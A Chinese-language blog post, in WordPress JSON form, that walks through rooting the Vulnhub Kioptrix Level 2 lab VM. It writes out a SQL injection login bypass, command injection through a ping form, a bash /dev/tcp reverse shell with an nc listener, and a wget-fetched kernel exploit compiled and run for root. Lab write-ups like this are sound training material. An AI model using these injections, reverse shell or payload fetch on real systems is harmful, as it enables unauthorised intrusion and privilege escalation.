{"id":317,"date":"2024-01-26T16:33:44","date_gmt":"2024-01-26T08:33:44","guid":{"rendered":"http:\/\/162.14.82.114\/?p=317"},"modified":"2024-01-26T16:33:44","modified_gmt":"2024-01-26T08:33:44","slug":"vulnhub-kioptrix-level-2","status":"publish","type":"post","link":"http:\/\/162.14.82.114\/index.php\/317\/01\/26\/2024\/","title":{"rendered":"Vulnhub–KIOPTRIX LEVEL 2"},"content":{"rendered":"

KIOPTRIX: LEVEL 2<\/h1>\n

\"image-20240126104304145\"<\/div><\/p>\n

\u8001\u6837\u5b50\uff0c\u5bf9.vmx<\/code>\u8fdb\u884c\u6539\u9020\uff0c\u7136\u540e\u626b\u63cf\uff1a<\/p>\n

\"image-20240126114005266\"<\/div><\/p>\n

\u8e29\u70b9\u4e00\u4e0b<\/h2>\n

\u6253\u5f00\u770b\u770b\u5bf9\u4e0d\u5bf9\uff1a<\/p>\n

\"image-20240126114350440\"<\/div><\/p>\n

\u5c1d\u8bd5\u4e07\u80fd\u5bc6\u7801\uff0cusername<\/code>\u586b\u5165admin' or '1' = '1<\/code>\uff0c\u8fdb\u5165\u4e86\u3002\u597d\u5bb6\u4f19\u76f4\u63a5\u514d\u53bb\u4e86\u6211\u6700\u7cdf\u5fc3\u7684sql\u6ce8\u5165\u73af\u8282\uff1a<\/p>\n

\"image-20240126115844210\"<\/div><\/p>\n

\u7136\u540e\u968f\u4fbfping\u4e00\u4e0b\uff0c\u770b\u770b\u80fd\u4e0d\u80fd\u6267\u884c\u547d\u4ee4127.0.0.1 && whoami<\/code>\uff0c\u8f93\u51fa\uff1a<\/p>\n

127.0.0.1 && whoami\n\nPING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.\n64 bytes from 127.0.0.1: icmp_seq=0 ttl=64 time=0.264 ms\n64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.034 ms\n64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.032 ms\n\n--- 127.0.0.1 ping statistics ---\n3 packets transmitted, 3 received, 0% packet loss, time 2000ms\nrtt min\/avg\/max\/mdev = 0.032\/0.110\/0.264\/0.108 ms, pipe 2\napache<\/code><\/pre>\n
\u4f7f\u7528\u63d2\u4ef6\u770b\u4e00\u4e0b\u76f8\u5173\u914d\u7f6e\u4fe1\u606f\uff1a<\/p>\n
\"image-20240126122344403\"<\/div><\/p>\n
\u7aef\u53e3\u626b\u63cf<\/h2>\n
sudo nmap -sS -T5 -A -p- 192.168.244.138\n\/*\nStarting Nmap 7.94SVN ( https:\/\/nmap.org ) at 2024-01-25 23:07 EST\nNmap scan report for 192.168.244.138\nHost is up (0.00067s latency).\nNot shown: 65528 closed tcp ports (reset)\nPORT     STATE SERVICE  VERSION\n22\/tcp   open  ssh      OpenSSH 3.9p1 (protocol 1.99)\n| ssh-hostkey: \n|   1024 8f:3e:8b:1e:58:63:fe:cf:27:a3:18:09:3b:52:cf:72 (RSA1)\n|   1024 34:6b:45:3d:ba:ce:ca:b2:53:55:ef:1e:43:70:38:36 (DSA)\n|_  1024 68:4d:8c:bb:b6:5a:bd:79:71:b8:71:47:ea:00:42:61 (RSA)\n|_sshv1: Server supports SSHv1\n80\/tcp   open  http     Apache httpd 2.0.52 ((CentOS))\n|_http-title: Site doesn't have a title (text\/html; charset=UTF-8).\n|_http-server-header: Apache\/2.0.52 (CentOS)\n111\/tcp  open  rpcbind  2 (RPC #100000)\n| rpcinfo: \n|   program version    port\/proto  service\n|   100000  2            111\/tcp   rpcbind\n|   100000  2            111\/udp   rpcbind\n|   100024  1           1009\/udp   status\n|_  100024  1           1012\/tcp   status\n443\/tcp  open  ssl\/http Apache httpd 2.0.52 ((CentOS))\n|_ssl-date: 2024-01-26T01:58:17+00:00; -2h09m35s from scanner time.\n|_http-server-header: Apache\/2.0.52 (CentOS)\n|_http-title: Site doesn't have a title (text\/html; charset=UTF-8).\n| ssl-cert: Subject: commonName=localhost.localdomain\/organizationName=SomeOrganization\/stateOrProvinceName=SomeState\/countryName=--\n| Not valid before: 2009-10-08T00:10:47\n|_Not valid after:  2010-10-08T00:10:47\n| sslv2: \n|   SSLv2 supported\n|   ciphers: \n|     SSL2_DES_192_EDE3_CBC_WITH_MD5\n|     SSL2_RC4_64_WITH_MD5\n|     SSL2_RC4_128_EXPORT40_WITH_MD5\n|     SSL2_RC2_128_CBC_EXPORT40_WITH_MD5\n|     SSL2_RC2_128_CBC_WITH_MD5\n|     SSL2_RC4_128_WITH_MD5\n|_    SSL2_DES_64_CBC_WITH_MD5\n631\/tcp  open  ipp      CUPS 1.1\n| http-methods: \n|_  Potentially risky methods: PUT\n|_http-title: 403 Forbidden\n|_http-server-header: CUPS\/1.1\n1012\/tcp open  status   1 (RPC #100024)\n3306\/tcp open  mysql    MySQL (unauthorized)\nMAC Address: 00:0C:29:12:F4:09 (VMware)\nDevice type: general purpose\nRunning: Linux 2.6.X\nOS CPE: cpe:\/o:linux:linux_kernel:2.6\nOS details: Linux 2.6.9 - 2.6.30\nNetwork Distance: 1 hop\n\nHost script results:\n|_clock-skew: -2h09m35s\n\nTRACEROUTE\nHOP RTT     ADDRESS\n1   0.67 ms 192.168.244.138\n\nOS and Service detection performed. Please report any incorrect results at https:\/\/nmap.org\/submit\/ .\nNmap done: 1 IP address (1 host up) scanned in 24.59 seconds\n*\/<\/code><\/pre>\n
\u53ef\u4ee5\u770b\u5230\uff0c\u5f00\u653e\u4e8622,80,111,443,631,1012,3306<\/code>\u8fd9\u51e0\u4e2a\u7aef\u53e3\u3002<\/p>\n
\u65b9\u6cd5\u4e00\uff1akali\u76d1\u542c\uff0c\u53cd\u5f39shell<\/h2>\n
127.0.0.1&&bash -i >& \/dev\/tcp\/192.168.244.133\/3380 0>&1\n# bash -i >& \/dev\/tcp\/192.168.244.133\/3380 0>&1\uff1a\u8fd9\u662f\u4e00\u4e2a\u53cd\u5411 shell \u547d\u4ee4\u7684\u6838\u5fc3\u90e8\u5206\u3002\n# bash -i\uff1a\u8fd9\u4f1a\u542f\u52a8\u4e00\u4e2a\u4ea4\u4e92\u5f0f\u7684 bash shell\u3002\n# >& \/dev\/tcp\/192.168.244.133\/3380\uff1a\u8fd9\u4f1a\u5c06 bash shell \u7684\u8f93\u51fa\u91cd\u5b9a\u5411\u5230 IP \u5730\u5740 192.168.244.133 \u7684 3380 \u7aef\u53e3\u3002\u8fd9\u610f\u5473\u7740\u5728 192.168.244.133 \u4e0a\u76d1\u542c 3380 \u7aef\u53e3\u7684\u4efb\u4f55\u4eba\u90fd\u53ef\u4ee5\u770b\u5230 bash shell \u7684\u8f93\u51fa\u3002\n# 0>&1\uff1a\u8fd9\u4f1a\u5c06 bash shell \u7684\u8f93\u5165\u91cd\u5b9a\u5411\u5230\u5176\u8f93\u51fa\uff0c\u8fd9\u610f\u5473\u7740\u5728 192.168.244.133 \u4e0a\u76d1\u542c 3380 \u7aef\u53e3\u7684\u4efb\u4f55\u4eba\u90fd\u53ef\u4ee5\u5411 bash shell \u53d1\u9001\u547d\u4ee4\u3002<\/code><\/pre>\n
\u672c\u5730\u5f00\u542f\u4e00\u4e0b\u76d1\u542c\uff1a<\/p>\n
nc -lvvp 3380\n# nc\uff1a\u8fd9\u662f netcat \u7684\u7b80\u5199\uff0c\u662f\u4e00\u4e2a\u5f3a\u5927\u7684\u7f51\u7edc\u5de5\u5177\uff0c\u53ef\u4ee5\u7528\u4e8e\u8bfb\u53d6\u548c\u5199\u5165\u7f51\u7edc\u8fde\u63a5\u3002\n# -l\uff1a\u8fd9\u4e2a\u53c2\u6570\u8ba9 netcat \u8fdb\u5165\u76d1\u542c\u6a21\u5f0f\uff0c\u7b49\u5f85\u63a5\u5165\u7684\u8fde\u63a5\u3002\n# -v\uff1a\u8fd9\u4e2a\u53c2\u6570\u8ba9 netcat \u5728\u64cd\u4f5c\u8fc7\u7a0b\u4e2d\u63d0\u4f9b\u66f4\u591a\u7684\u4fe1\u606f\uff0c\u4e5f\u5c31\u662f\u8bf4\u5b83\u4f1a\u663e\u793a\u66f4\u8be6\u7ec6\u7684\u8f93\u51fa\u3002\u5f53\u4f60\u4f7f\u7528\u4e24\u4e2a -v \u53c2\u6570\uff08\u5373 -vv\uff09\u65f6\uff0cnetcat \u4f1a\u63d0\u4f9b\u66f4\u8be6\u7ec6\u7684\u4fe1\u606f\u3002\n# -p 3380\uff1a\u8fd9\u4e2a\u53c2\u6570\u6307\u5b9a netcat \u5e94\u8be5\u76d1\u542c\u7684\u7aef\u53e3\u53f7\uff0c\u8fd9\u91cc\u662f 3380\u3002<\/code><\/pre>\n
\u8fdb\u53bb\u4e86\uff0c\u62ff\u5230\u4e86\u4e00\u4e2a\u666e\u901a\u7528\u6237\u6743\u9650\uff1a<\/p>\n
\"image-20240126122158468\"<\/div><\/p>\n
\u5c1d\u8bd5\u63d0\u6743<\/h2>\n
\u5148\u5bfb\u627e\u4e00\u4e0bApache\u76f8\u5173\u6f0f\u6d1e\u67e5\u770b\u662f\u5426\u6709\u53ef\u4ee5\u5b9e\u73b0\u7684\uff1a<\/p>\n
\"image-20240126122906650\"<\/div><\/p>\n
\u4e0d\u5bf9\uff0c\u6211\u90fd\u53cd\u5411\u8fde\u63a5shell\u4e86\uff0c\u6211\u8fd8\u8981\u8fd9\u4e2a\u5e72\u5565\u3002\u3002\u3002<\/p>\n
\u5c1d\u8bd5SUID<\/code>\u63d0\u6743\uff1a<\/p>\n
\u250c\u2500\u2500(kali\u327fkali)-[~]\n\u2514\u2500$ nc -lvvp 3380\nlistening on [any] 3380 ...\n192.168.244.138: inverse host lookup failed: Unknown host\nconnect to [192.168.244.133] from (UNKNOWN) [192.168.244.138] 32771\nbash: no job control in this shell\nbash-3.00$ find \/ -perm -4000 2>\/dev\/null\n\/sbin\/unix_chkpwd\n\/sbin\/pam_timestamp_check\n\/sbin\/pwdb_chkpwd\n\/usr\/sbin\/ccreds_validate\n\/usr\/sbin\/userhelper\n\/usr\/sbin\/userisdnctl\n\/usr\/sbin\/suexec\n\/usr\/sbin\/usernetctl\n\/usr\/libexec\/openssh\/ssh-keysign\n\/usr\/libexec\/pt_chown\n\/usr\/kerberos\/bin\/ksu\n\/usr\/lib\/squid\/pam_auth\n\/usr\/lib\/squid\/ncsa_auth\n\/usr\/bin\/chsh\n\/usr\/bin\/rcp\n\/usr\/bin\/sudo\n\/usr\/bin\/chage\n\/usr\/bin\/crontab\n\/usr\/bin\/rlogin\n\/usr\/bin\/rsh\n\/usr\/bin\/gpasswd\n\/usr\/bin\/at\n\/usr\/bin\/newgrp\n\/usr\/bin\/chfn\n\/usr\/bin\/lppasswd\n\/usr\/bin\/sg\n\/usr\/bin\/passwd\n\/bin\/mount\n\/bin\/traceroute6\n\/bin\/traceroute\n\/bin\/umount\n\/bin\/ping6\n\/bin\/ping\n\/bin\/su<\/code><\/pre>\n
\u6ca1\u6709\u6211\u4eec\u60f3\u8981\u7684\u6587\u4ef6\u3002\u3002\u3002<\/p>\n
\u5c1d\u8bd5\u5185\u6838\u63d0\u6743\uff1a<\/p>\n
uname -a       #\u6253\u5370\u7cfb\u7edf\u4fe1\u606f\nlsb_release -a #\u67e5\u770b\u7cfb\u7edf\u7248\u672c<\/code><\/pre>\n
\"image-20240126123958819\"<\/div><\/p>\n
\u53ef\u4ee5\u770b\u5230 CentOS \u7248\u672c\u4e3a4.5\uff0c\u67e5\u627e\u76f8\u5173\u6f0f\u6d1e\uff1a<\/p>\n
\"image-20240126124416353\"<\/div><\/p>\n
\u7b2c\u4e8c\u4e2a\u7b26\u5408\u6211\u4eec\u7684\u7cfb\u7edf\uff0c\u5c1d\u8bd5\u4e0b\u8f7d\u4e0b\u6765\u5229\u7528\u4e00\u4e0b\uff1a<\/p>\n
searchsploit -m PATH<\/code><\/pre>\n
\u7136\u540e\u5f00\u542fpython\u7684\u7b80\u5355http\u670d\u52a1\uff1a<\/p>\n
python3 -m http.server 1234<\/code><\/pre>\n
\u7136\u540e\u5728\u53cd\u5f39shell\u4e2d\u8fdb\u884c\u4e0b\u8f7d\uff1a<\/p>\n
cd \/tmp                                  # \u9632\u6b62\u6ca1\u6709\u8bfb\u5199\u6743\u9650\nwget http:\/\/192.168.244.133:1234\/9542.c  # \u8fdc\u7a0b\u4e0b\u8f7dpayload\ngcc 9542.c                               # \u7f16\u8bd1\u4e00\u4e0b\uff0c\u8fd9\u91cc\u6709\u62a5\u9519\u4f46\u662f\u4e0d\u5f71\u54cd\n.\/a.out                                  # exploit<\/code><\/pre>\n
\"image-20240126130302284\"<\/div><\/p>\n
\u5982\u56fe\u5df2\u7ecf\u62ff\u5230\u4e86root\uff0c\u6253\u9776\u7ed3\u675f\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"
KIOPTRIX: LEVEL 2 \u8001\u6837\u5b50\uff0c\u5bf9.vmx\u8fdb\u884c\u6539\u9020\uff0c\u7136\u540e\u626b\u63cf\uff1a \u8e29\u70b9\u4e00\u4e0b \u6253\u5f00\u770b\u770b\u5bf9\u4e0d\u5bf9\uff1a \u5c1d\u8bd5\u4e07 […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[11,24],"tags":[],"class_list":["post-317","post","type-post","status-publish","format-standard","hentry","category-ctf-and-protest","category-penetration-test"],"_links":{"self":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/317","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/comments?post=317"}],"version-history":[{"count":1,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/317\/revisions"}],"predecessor-version":[{"id":318,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/317\/revisions\/318"}],"wp:attachment":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/media?parent=317"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/categories?post=317"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/tags?post=317"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}